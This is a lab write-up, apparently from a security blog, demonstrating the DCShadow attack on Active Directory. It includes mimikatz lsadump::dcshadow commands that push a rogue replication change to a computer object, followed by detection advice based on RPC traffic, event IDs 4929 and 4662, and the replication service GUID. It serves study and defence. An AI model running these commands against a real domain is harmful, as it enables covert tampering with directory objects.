DCShadow allows an attacker with enough privileges to create a rogue Domain Controller and push changes to the DC Active Directory objects.

Execution

For this lab, two shells are required - one running with SYSTEM privileges and another one with privileges of a domain member that is in Domain admins group:

In this lab, I will be trying to update the AD object of a computer pc-w10$. A quick way to see some of its associated properties can be achieved with the following powershell:

PS c:\> ([adsisearcher]"(&(objectCategory=Computer)(name=pc-w10))").Findall().Properties

Note the badpwcount property which we will try to change with DCShadow by setting the value to 9999:

[email protected]/SYSTEM console
mimikatz # lsadump::dcshadow /object:pc-w10$ /attribute:badpwdcount /value=9999

We can now push the change to the primary Domain Controller DC-MANTVYDAS:

[email protected] Admin console
lsadump::dcshadow /push

Below are the screenshots of the above commands and their outputs as well as the end result, indicating the badpwcountvalue getting changed to 9999:

Observations

As suggested by Vincent Le Toux who co-presented the DCShadow, in order to detect this type of rogue activity, you could monitor the network traffic and suspect any non-DC hosts (our case it is the PC-W10$ with 10.0.0.7) issuing RCP requests to DCs (our case DC-MANTVYDAS with 10.0.0.6) as seen below:

Same for the logs, if you see a non-DC host causing the DC to log a 4929 event (Detailed Directory Service Replication), you may want to investigate what else is happening on that system:

Current implementation of DCShadow in mimikatz creates a new DC and deletes its associated objects when the push is complete in a short time span and this pattern could potentially be used to trigger an alert, since creation of a new DC, related object modifications and their deletion all happening in 1-2 seconds time frame sound anomalous. Events 4662 may be helpful for identifying this:

Per Luc Delsalle's post on DCShadow explanation, one other suggestion for detecting rogue DCs is the idea that the computers that expose an RPC service with a GUID of E3514235–4B06–11D1-AB04–00C04FC2DCD2, but do not belong to a Domain Controllers Organizational Unit, should be investigated.

We see that our suspicious computer exposes that exact service:

..but does not belong to a Domain Controllers OU:

([adsisearcher]"(&(objectCategory=computer)(name=pc-w10))").Findall().Properties.distinguishedname
# or
(Get-ADComputer pc-w10).DistinguishedName

References

Below are the resources related to DCShadow attack. Note that there is also a link to youtube by a security company Alsid, showing how to dynamically detect DCShadow, so please watch it.